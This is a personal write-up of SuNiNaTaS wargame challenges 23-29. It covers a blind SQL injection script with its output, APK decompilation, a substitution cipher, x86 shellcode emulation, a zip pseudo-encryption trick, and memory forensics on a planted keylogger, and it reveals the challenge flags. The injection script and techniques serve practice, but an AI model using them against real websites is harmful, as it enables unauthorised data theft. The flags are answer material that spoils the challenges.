extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
# Visual progress for the current index
sys.stdout.write(f"[*] Finding char {i:02}: ")
sys.stdout.flush()

for char in CHARSET:
# need reverse??
##############################################################################
if check_str(i, char + extracted_string):
extracted_string += char
sys.stdout.write(f"{char}\n")
sys.stdout.flush()
found = True
break

if not found:
sys.stdout.write("None found. Stopping.\n")
break

print("\n" + "="*30)
print(f"EXTRACTED DATA: {extracted_string}")
print("="*30)

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
❯ python sqli_blind_1.py
[*] Starting Blind SQL Injection on http://suninatas.com/challenge/web23/web23.asp
[*] Target max length: 31
[*] Finding char 01: i
[*] Finding char 02: l
[*] Finding char 03:
error ??? i dont know
v3ryhardsqli

Game 24

1
2
❯ file suninatas24
suninatas24: Android package (APK), with AndroidManifest.xml, with APK Signing Block

use jadx btw, change the suffix to apk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/* loaded from: classes.dex */
public class MainActivity extends Activity {
@Override // android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_send)).setOnClickListener(new View.OnClickListener() { // from class: com.suninatas.suninatas24.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
EditText editText = (EditText) MainActivity.this.findViewById(R.id.input_pw);
EditText editText2 = (EditText) MainActivity.this.findViewById(R.id.input_key);
Editable text = ((EditText) MainActivity.this.findViewById(R.id.input_id)).getText();
Editable text2 = editText.getText();
Editable text3 = editText2.getText();
if (text3.toString().equals("https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg")) {
MainActivity.this.startActivity(new Intent("android.intent.action.VIEW", Uri.parse("http://www.suninatas.com/challenge/web24/chk_key.asp?id=" + text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString())));
return;
}
new AlertDialog.Builder(MainActivity.this).setMessage("Wrong!").setNeutralButton("Close", new DialogInterface.OnClickListener() { // from class: com.suninatas.suninatas24.MainActivity.1.1
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
}
}).show();
}
});
}

@Override // android.app.Activity
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
1
2
3
4
5
6
7
8
9
10
11
http://www.suninatas.com/challenge/web24/chk_key.asp?id=" + text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString()

https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

http://www.suninatas.com/challenge/web24/chk_key.asp?id=<YOUR_ID>&pw=<YOUR_PW>&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

or, creat a test account

http://www.suninatas.com/challenge/web24/chk_key.asp?id=arstarst&pw=arstarst&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

i don't know why but it only work on my phone(just copy to phone browser), even if i change the pc browser UA
Auth_key = StARtANdr0idW0r1d

Game 25

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ file Suninatas25
Suninatas25: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Aug 05 2019 10:34:20, uncompressed size 328936, method=deflate

❯ unar Suninatas25
Suninatas25: Zip
"Suninatas25" already exists.
(r)ename to "Suninatas25-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? r
class.dex (328936 B)... OK.
Androidmanifest.xml (1732 B)... OK.
resource.arsc (2600 B)... OK.
Successfully extracted to "Suninatas25-1".

# like a apk, mv to suninatas25.apk, open with jadx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

/* loaded from: class.dex */
public class Suninatas25 extends Activity {
public void onCreate(Bundle savedInstanceState) {
////
try {
String conId = Suninatas25.this.getContacts("id");
String conNum = Suninatas25.this.getTel(conId);
if (conName != null) {
Uri uri = Uri.parse("http://www.suninatas.com/challenge/web25/chk_key.asp?id=" + id.toString() + "&pw=" + pw.toString() + "&Name=" + conName.toString() + "&Number=" + conNum.toString()); <- same id pw like game 24, but add contact name and phone number
Intent it = new Intent("android.intent.action.VIEW", uri);
Suninatas25.this.startActivity(it);
}
///////
}
});
}

public String getTel(String Idno) {
StringBuffer tnum = new StringBuffer();
Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + Idno, null, null);
while (phones.moveToNext()) {
String phoneNumber = phones.getString(phones.getColumnIndex("data1"));
tnum.append(phoneNumber);
}
return tnum.toString();
}

public String getContacts(String Sel) {
StringBuffer sb = new StringBuffer();
Cursor contacts = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (contacts.moveToNext()) {
String displayName = contacts.getString(contacts.getColumnIndex("display_name"));
String contactId = contacts.getString(contacts.getColumnIndex("_id"));
if (displayName.equals("SuNiNaTaS")) { <-- Name need be SuNiNaTaS
if (Sel.equals("sb")) {
sb.append(displayName);
} else if (Sel.equals("id")) {
sb.append(contactId);
}
}
}
return sb.toString();
}
/////
}
1
2
3
4
5
http://www.suninatas.com/challenge/web25/chk_key.asp?id=arstarst&pw=arstarst&Name=SuNiNaTaS&Number=?? <- click make botton to get the number, use test account btw

Congratulations!
auth_key is
************************
FanTast1c aNdr0id w0r1d!

Game 26

1
2
3
4
5
6
7
8
9
This challenge is to recover the plaintext from the following ciphertext using frequency analysis:

szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni

Note that we have omitted the blank letters and punctuation marks of the plaintext.

# random substitution cipher

# Frequency analysis is a technique that measures how often specific items—such as letters in cryptography, words in text, or components in a signal—occur within a dataset. It relies on statistical patterns, such as the high frequency of 'E' in English text, to break ciphers, analyze data, or identify vibration, noise, and structural resonance in engineering.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ CIPHER="szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni"

$ echo "$CIPHER" | fold -w1 | sort | uniq -c | sort -nr
92 n
78 z
69 g
65 c
65 b
62 v
60 i
59 y
58 p
31 x
30 q
27 a
26 h
25 f
22 m
20 o
19 d
14 s
9 k
7 j
5 e
4 t
3 r
2 u
1 l
1
2
3
4
5
6
usefull links
https://alexandernwilson.com/gallery/frequency_analysis.html
https://quipqiup.com/
https://studio.code.org/courses/frequency-analysis/units/1/lessons/1/levels/1

kim yuna is a south korean figure skater she is the olympic champion in ladies singles the world champion the four continents champion a three time grand prix final champion the world junior champion the junior grand prix final champion and a four time south korean national champion kim is the first south korean figure skater to win a medal at an isu junior or senior grand prix event is u championship and the olympic games she is the first female skater to win the olympic games the world championships the four continents championships and the grand prix finals he is one of the most highly recognized athletes and media figures in south korea as of april this year she is ranked second in the world by the international skating union she is the current record holder for ladies in the short program the free skating and the combined total under the isu judging systems he is also the first female skater to surpass the two hu dread point mark under the isu judging systems he has never been placed off the podium in her entire career
kimyuna

Game 27

1
2
3
NSA has intercepted a chatter between mafia organization members from an IRC server.
investigators are certain that the message has some secret, however they can't find any clue.
your mission is to help the NSA investigators and reveal the secret of this message.

Pruss is my name. I am a member of russian mafia group. we communacate via a secure channel with secure password like.. \(A\)"4kruss password has to be long and it should contain alphabet, number, etc. I added 'russ' at the end because my name is Pruss. and this is our password convention. we must add 'russ' to end.. because it is our code name and we are very bad russian. we use secure communication since FBI monitors our communications on the Internet. we can't use password like DDDDDHHHHHHPDDDDDruss. because these passwords can be easily broken by FBI hackers. even if the password is long enough,(something like @@@@@@@@@@@@@@@@@@@@russ) it is not secure because there is only one repeated character '@'. anyway, using secure password is important... Pruss is actually not only my name, it is also code name of our mafia. we use similar names. one of my friend's name is Druss. Druss is my best friend and a professional killer. but he is not good at security. one day Druss used a password DDDDruss I told him this is very bad and weak password. the FBI will break it very easily. so he changed his password into HHHHHHHHHHHHHHHHHHHHHHHHHHruss. I told him even if password is long, it is weak if there is no combination with number and symbol... he said 'ok Pruss, this time I'll make a very long and secure password which contains number and symbol as well!' and he made '11111DDDDD@@@@@@@@@@PDDDDD@@@@@@@@@@PDDDDDHHHHHHHHHHHHHHHHHHHHruss'!! and asked me if this is secure enough. I told him it is secure, but it is long to remember. he said 'thank you Pruss you always teach me computer security' anyway this was small talk and I will tell you something about mafia life. Druss likes to listen to music, such as rock, pop and jazz... even though he is a tough killer he has sensitive heart.. Druss likes to dressed up with very black jacket with black jean, he thinks it is a cool fashion, but I don't like it.. Druss has high IQ, he is a member of group called MENSA(group of people who has IQ over 150) so, he is very very smart. Druss has a girl friend, her name is Hruss. Hruss is also my friend too. she is very very pretty, and also a killer(!). Druss likes Hruss a lot, they are in love with each other. it is common case that mafia members hooks up together. mafia@russia.ru is our server. we have lot of data regarding our crimes in our server so FBI hackers are trying to hack mafia@russia.ru but we don't have to worry since we are using secure password(we discussed this) as I told earlier. anyway.. Pruss sounds somewhat like 'Press' so, Press is my nick name it is somewhat juvenile but I think it is pretty funny too Druss always makes fun of me by using my nick name 'Press' sometimes I got angry but I don't express my feeling because Druss is a professional killer I don't want to get shot. it is possible to get shot by mafia friends. it happened once. Druss shot a friend many years ago, he was also a mafia member. they had a quarrel and it turned into very big fight so Druss shot other friend... after that incident, I always say something nicely to him. in fact the secure password which Druss have created earlier I felt it was very stupid password. however I told him very nicely. who makes password like '@@PDDDDDPDDDDDHPDDDDD@@@@@PDDDDDPDDDDD@@@PDDDDDruss'? no body will ever think that this is a password. to me, a secure password will be say something like... kNz3i!Bs4jP

translate

我叫普鲁斯,是俄罗斯黑手党组织的成员。我们通过安全通道进行通信,使用类似这样的安全密码:\(A\)"4kruss。密码必须足够长,并且包含字母、数字等。我在末尾加了“russ”,因为我的名字是Pruss。这是我们的密码约定。我们必须在末尾加上“russ”,因为它是我们的代号,而且我们的俄语很差。我们使用安全通信是因为FBI会监控我们在互联网上的通信。我们不能使用像DDDDDHHHHHHPDDDDDruss这样的密码,因为FBI的黑客很容易破解这些密码。即使密码足够长(例如@@@@@@@@@@@@@@@@@@@@russ),它也不安全,因为其中只有一个重复的字符“@”。总之,使用安全密码很重要……Pruss实际上不仅是我的名字,也是我们黑手党的代号。我们使用类似的名字。我的一个朋友的名字是Druss。Druss是我最好的朋友。我的朋友兼职业杀手,但他不太懂安全。有一天,德鲁斯用了一个很弱的密码:DDDDruss。我告诉他,这个密码非常糟糕,FBI 很容易就能破解。于是他把密码改成了 HHHHHHHHHHHHHHHHHHHHHHHHHHHHruss。我又告诉他,即使密码很长,如果没有数字和符号的组合,也是不安全的……他说:“好的,普鲁斯,这次我一定要设置一个非常长、非常安全的密码,里面要包含数字和符号!”他输入了“11111DDDDD@@@@@@@@@@PDDDDD@@@@@@@@@@PDDDDDHHHHHHHHHHHHHHHHHHHHHHruss”!然后问我这样够不够安全。我告诉他很安全,但是有点长,记不住。他说“谢谢你,Pruss,你总是教我电脑安全”。总之,这只是闲聊,接下来我要讲讲黑手党的生活。Druss喜欢听音乐,比如摇滚、流行和爵士……虽然他是个冷酷的杀手,但他有一颗柔软的心。Druss喜欢穿黑色夹克配黑色牛仔裤,他觉得这样很酷,但我并不喜欢。Druss智商很高,他是门萨俱乐部(智商超过150的人组成的组织)的成员,所以他非常非常聪明。Druss有个女朋友,名叫Hruss。她也是我的朋友。她非常非常漂亮,而且还是个杀手(!)。德鲁斯很喜欢赫鲁斯,他们彼此相爱。黑手党成员之间搞暧昧是很常见的。mafia@russia.ru 是我们的服务器。我们的服务器上有很多关于我们犯罪的数据,所以FBI的黑客正在试图入侵mafia@russia.ru,但我们不用担心,因为我们使用了安全的密码(我们之前讨论过),就像我之前说的那样。总之……普鲁斯听起来有点像“Press”(新闻),所以“Press”是我的昵称,虽然有点幼稚,但我认为也挺搞笑的。德鲁斯总是用我的昵称“Press”取笑我,有时我会生气,但我不会表达我的感受,因为德鲁斯是个职业杀手,我不想被枪杀。被黑手党朋友枪杀是有可能的。这种情况发生过一次。多年前,德鲁斯枪杀了一个朋友,他也是黑手党成员。他们吵了一架,然后就……德鲁斯和朋友吵得很凶,结果他开枪打伤了另一个朋友……从那以后,我总是跟他说些好话。其实,德鲁斯之前设置的那个“安全密码”我觉得很蠢。但我还是很客气地跟他说了。谁会设置像“@@PDDDDDPDDDDDHPDDDDD@@@@@PDDDDDPDDDDD@@@PDDDDDruss”这样的密码?没人会觉得这是个密码。在我看来,一个安全的密码应该是这样的……kNz3i!Bs4jP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python3
"""
x86 Emulation Script using Unicorn Engine
Used to extract flag characters pushed onto the stack during execution.
"""

import sys
from unicorn import *
from unicorn.x86_const import *

# Configuration
CODE_FILE = '../../../Downloads/message.txt'
BASE_ADDRESS = 0x1000000
STACK_ADDRESS = 0x2000000
MEM_SIZE = 2 * 1024 * 1024 # 2MB

# Global storage for the extracted flag
flag_chars = []

def hook_code(uc, address, size, user_data):
"""Optional: Trace instructions for debugging."""
# eax = uc.reg_read(UC_X86_REG_EAX)
# print(f">>> Tracing instruction at 0x{address:x}, EAX = 0x{eax:x}")
pass

def hook_mem_write(uc, access, address, size, value, user_data):
"""
Monitor memory writes to catch PUSH instructions.
In many CTF challenges, characters are pushed onto the stack one by one.
"""
if access == UC_MEM_WRITE:
try:
char = chr(value)
if char.isprintable():
flag_chars.append(char)
print(f"[!] Stack Push: '{char}' (0x{value:02x})")
except Exception:
pass

def main():
# Load the shellcode/binary
try:
with open(CODE_FILE, 'rb') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: {CODE_FILE} not found.")
sys.exit(1)

print(f"Emulating x86 code ({len(code)} bytes)...")

try:
# Initialize emulator in x86 32-bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# Map memory for code and stack
mu.mem_map(BASE_ADDRESS, MEM_SIZE)
mu.mem_map(STACK_ADDRESS, MEM_SIZE)

# Write code to memory
mu.mem_write(BASE_ADDRESS, code)

# Initialize registers
mu.reg_write(UC_X86_REG_EAX, 0x0)
# Set stack pointer to the middle of the mapped stack region
mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + (MEM_SIZE // 2))

# Add hooks
mu.hook_add(UC_HOOK_CODE, hook_code)
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

# Execute the code
mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(code))

except UcError as e:
# Emulation often ends with an error when shellcode runs off the end
# or lacks a proper exit syscall, which is expected.
print(f"\nEmulation stopped: {e}")

# Output the results
if flag_chars:
print("\n" + "="*20)
print(f"Extracted Flag: {''.join(flag_chars)}")
print("="*20)
else:
print("\nNo printable characters captured from stack writes.")

if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ python x86_emu_stack_extractor.py
Emulating x86 code (3413 bytes)...
[!] Stack Push: 'k' (0x6b)
[!] Stack Push: 'e' (0x65)
[!] Stack Push: 'y' (0x79)
[!] Stack Push: '_' (0x5f)
[!] Stack Push: 'i' (0x69)
[!] Stack Push: 's' (0x73)
[!] Stack Push: '_' (0x5f)
[!] Stack Push: 'a' (0x61)
[!] Stack Push: 'c' (0x63)
[!] Stack Push: 'c' (0x63)
[!] Stack Push: 'b' (0x62)
[!] Stack Push: 'g' (0x67)
[!] Stack Push: 'g' (0x67)
[!] Stack Push: 'j' (0x6a)

Emulation stopped: Invalid memory read (UC_ERR_READ_UNMAPPED)

====================
Extracted Flag: key_is_*******
====================
accbggj

Game 28

1
2
3
4
# You need not do brute-force

❯ file So_Simple.zip
So_Simple.zip: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Oct 21 2013 15:07:58, uncompressed size 205, method=deflate

need to know zip pseudo encryption

use tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ unar So_Simple.zip
So_Simple.zip: Zip
Am_I_key.zip (205 B)... OK.
Am_I_key2.txt (4335 B)... OK.
Am_I_key3.txt (1445 B)... OK.
Successfully extracted to "So_Simple".

~/Downloads
❯ y

~/Downloads/So_Simple
❯ unar Am_I_key.zip
Am_I_key.zip: Zip
There_is_key.txt (61 B)... OK.
Successfully extracted to "./There_is_key.txt".

# cat
Isn't it so easy?

Take it.

dGE1dHlfSDR6M2xudXRfY29mZmVl

# from base64
ta5ty_H4z3lnut_coffee

or use radare2, press V and i to change the hex value 0x0908 to 0x0008

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment
0x00000000 504b 0304 1400 0908 0800 fd78 5543 2313 PK.........xUC#.
0x00000010 246c 9200 0000 cd00 0000 0c00 0800 416d $l............Am
0x00000020 5f49 5f6b 6579 2e7a 6970 7ae5 0400 b503 _I_key.zipz.....
0x00000030 0000 0bf0 6666 1161 6060 e060 f852 11ea ....ff.a``.`.R..
0x00000040 6c5c 6770 cd1a c8b3 0562 01a0 5848 466a l\gp.....b..XHFj
0x00000050 516a 7c66 717c 766a a55e 4945 49d5 5316 Qj|fq|vj.^IEI.S.
0x00000060 86ad cc0c 0c9f 75ce 05eb 079e d009 d438 ......u........8
0x00000070 17ee e1ab b36e cbf3 a78f 9e72 799e f163 .....n.....ry..c
0x00000080 ed7a d978 43f3 ddba 364d 39cb cc83 7a8e .z.xC...6M9...z.
0x00000090 69fb dc44 976a 0a3a 664e 749b b633 7067 i..D.j.:fNt..3pg
0x000000a0 a225 4380 3723 9308 036e 2b41 8091 4181 .%C.7#...n+A..A.
0x000000b0 0102 7039 20c0 9b95 0da2 9291 c10d 4817 ..p9 .........H.
0x000000c0 8255 0300 504b 0304 1400 0908 0800 c479 .U..PK.........y
0x000000d0 5543 aa7c 88e7 1e00 0000 ef10 0000 0d00 UC.|............
0x000000e0 0000 416d 5f49 5f6b 6579 322e 7478 74ed ..Am_I_key2.txt.
0x000000f0 c431 0d00 0008 0330 73b3 b393 03f7 f820 .1.....0s....... <-
0x00000100 edd1 4cbb 9124 4992 2449 7ad3 0150 4b03 ..L..$I.$Iz..PK.
0x00000110 0414 0009 0808 009c 7955 4383 ec3e a413 ........yUC..>..
0x00000120 0000 00a5 0500 000d 0000 0041 6d5f 495f ...........Am_I_
0x00000130 6b65 7933 2e74 7874 7329 cdcd ad74 1925 key3.txts)...t.%
0x00000140 4689 5162 9418 2506 2501 0050 4b01 0214 F.Qb..%.%..PK...
0x00000150 0014 0000 0808 00fd 7855 4323 1324 6c92 ........xUC#.$l.
0x00000160 0000 00cd 0000 000c 0008 0000 0000 0001 ................ <-
0x00000170 0020 0000 0000 0000 0041 6d5f 495f 6b65 . .......Am_I_ke
0x00000180 792e 7a69 707a e504 00b5 0300 0050 4b01 y.zipz.......PK.
0x00000190 0214 0014 0000 0808 00c4 7955 43aa 7c88 ..........yUC.|.
0x000001a0 e71e 0000 00ef 1000 000d 0000 0000 0000 ................
0x000001b0 0001 0020 0000 00c4 0000 0041 6d5f 495f ... .......Am_I_
0x000001c0 6b65 7932 2e74 7874 504b 0102 1400 1400 key2.txtPK......
0x000001d0 0008 0800 9c79 5543 83ec 3ea4 1300 0000 .....yUC..>..... <-
0x000001e0 a505 0000 0d00 0000 0000 0000 0100 2000 .............. .
0x000001f0 0000 0d01 0000 416d 5f49 5f6b 6579 332e ......Am_I_key3.
0x00000200 7478 7450 4b05 0600 0000 0003 0003 00b8 txtPK...........
0x00000210 0000 004b 0100 0000 00ff ffff ffff ffff ...K............

Game 29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Joon-hyeok asked Seong-joon to repair PC
After repairing, Seong-joon did something to PC
You should fix this PC.

Q1 : When you surf "www.naver.com", Web browser shows something wrong. Fix it and you can find a Key
Q2 : Installed Keylogger's location & filename(All character is lower case)
- ex) c:\windows\notepad.exe
Q3 : Download time of Keylogger
- ex) 2016-05-27_22:00:00 (yyyy-mm-dd_hh:mm:ss)
Q4 : What did Keylogger detect and save? There is a Key

Auth Key = lowercase(MD5(Key of Q1+Answer of Q2+Answer of Q3+Key of Q4))

俊赫让成俊修理电脑
修复后,成俊 对电脑做了一些事情
你应该修理这台电脑。

Q1 : 当您浏览“www.naver.com”时,Web 浏览器显示错误。修复它,你就可以找到一把钥匙
Q2:安装的键盘记录器的位置和文件名(所有字符均为小写)
- 例如)c:\windows\notepad.exe
Q3:键盘记录器的下载时间
- 例如) 2016-05-27_22:00:00 (yyyy-mm-dd_hh:mm:ss)
Q4:键盘记录器检测并保存了什么?有一把钥匙

Auth Key = 小写(MD5(Q1的密钥+Q2的答案+Q3的答案+Q4的密钥))
1
2
❯ file 'Windows7(SuNiNaTaS)'
Windows7(SuNiNaTaS): EGG archive data, version 1.0

EGG file (.egg) is a compressed archive file format developed by ESTsoft primarily for their ALZip software, commonly used in South Korea. It acts similar to a .ZIP file but offers superior Unicode support and efficient compression, frequently used for distributing large files,, and supports split volumes.

use bandizip btw, extract in windows guest

use libguestfs to mount btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
~/Downloads/Windows7(SuNiNaTaS)
❯ la
total 8.0G
drwxr-xr-x 1 kita kita 28 Feb 15 14:08 caches/
-rw-r--r-- 1 kita kita 2.0M May 24 2016 vmware-0.log
-rw-r--r-- 1 kita kita 384K May 24 2016 vmware.log
-rw-r--r-- 1 kita kita 53M May 24 2016 'Windows 7-000001.vmdk'
-rw-r--r-- 1 kita kita 8.5K May 24 2016 'Windows 7.nvram'
-rw-r--r-- 1 kita kita 1.0G May 24 2016 'Windows 7-Snapshot2.vmem'
-rw-r--r-- 1 kita kita 2.1M May 24 2016 'Windows 7-Snapshot2.vmsn'
-rw-r--r-- 1 kita kita 6.9G May 24 2016 'Windows 7.vmdk'
-rw-r--r-- 1 kita kita 445 May 24 2016 'Windows 7.vmsd'
-rw-r--r-- 1 kita kita 3.2K May 24 2016 'Windows 7.vmx'
-rw-r--r-- 1 kita kita 4.6K May 24 2016 'Windows 7.vmxf'

~/Downloads/Windows7(SuNiNaTaS)
❯ paru -S libguestfs

~/Downloads/Windows7(SuNiNaTaS) took 30s
sudo guestmount -a "Windows 7.vmdk" -m /dev/sda1 --ro /mnt/win

sudo cat /mnt/win/Windows/System32/drivers/etc/hosts
[sudo] password for kita:
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
121.189.57.82 naver.com
121.189.57.82 www.naver.com
#
#
# C0ngr4tur4ti0ns!! This is a Keeeeeeeeeeey : what_the_he11_1s_keey
#
#
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost

use volatility3 to extract btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.pslist

PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output

...
1556 1344 v1tvr0.exe 0x87b8a030 3 101 1 False 2016-05-23 20:52:47.000000 UTC N/A Disabled
1564 1344 notepad.exe 0x87b893f8 1 63 1 False 2016-05-23 20:52:47.000000 UTC N/A Disabled
...

❯ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.cmdline
Volatility 3 Framework 2.27.0
Progress: 100.00 PDB scanning finished
PID Process Args
...
1556 v1tvr0.exe "C:\v196vv8\v1tvr0.exe"
...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[root@kita233 v196vv8]# ls -al
total 2470
drwxrwxrwx 1 root root 4096 May 24 2016 .
drwxrwxrwx 1 root root 8192 May 24 2016 ..
drwxrwxrwx 1 root root 0 May 24 2016 a12
-rwxrwxrwx 1 root root 294400 Jul 22 2009 four.dll
-rwxrwxrwx 1 root root 33 May 24 2016 ftc.gyy
-rwxrwxrwx 1 root root 4137 Jul 7 2010 kco.dat
-rwxrwxrwx 1 root root 22 May 24 2016 ssitisys.gyy
-rwxrwxrwx 1 root root 9 May 24 2016 te.dat
-rwxrwxrwx 1 root root 1594368 Jul 7 2010 v1tvr0.exe
drwxrwxrwx 1 root root 0 May 24 2016 v1valv
-rwxrwxrwx 1 root root 276 May 24 2016 v1vasyv.gyy
-rwxrwxrwx 1 root root 613376 Jul 7 2010 v1vmg00v.exe

# get wrong time, need time of Birth
[root@kita233 v196vv8]# stat v1tvr0.exe
File: v1tvr0.exe
Size: 1594368 Blocks: 3120 IO Block: 4096 regular file
Device: 0,81 Inode: 109 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2016-05-24 03:26:09.330498800 +0800
Modify: 2010-07-07 06:50:09.109375000 +0800
Change: 2016-05-24 03:26:09.361698900 +0800
Birth: -

# get MFT (Master File Table), same wrong time
❯ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.mftscan.MFTScan | grep -i "v1tvr0.exe"
* 0xe8b38b0100.0FILE 50282 1DB scanFile finArchive FILE_NAME 2016-05-23 19:26:09.000000 UTC 2016-05-23 19:26:09.000000 UTC 2016-05-23 19:26:09.000000 UTC 2016-05-23 19:26:09.000000 UTC v1tvr0.exe

# need to check browser download history
# notice user use ie browser, and ie browser store info in index.dat
[root@kita233 win]# find . -name "index.dat" -exec strings -f {} \; | grep -i "exe"
...
./Users/training/AppData/Local/Microsoft/Windows/History/History.IE5/index.dat: Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe <- notice spy keylogger
...

[root@kita233 win]# cp ./Users/training/AppData/Local/Microsoft/Windows/History/History.IE5/index.dat /home/kita/

use pasco btw, a tool to Examines the contents of Internet Explorer's cache files for forensic purposes.

or use index

1
2
3
4
❯ pasco index.dat | grep exe
...
URL Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe 05/24/2016 03:25:06 05/24/2016 03:25:06
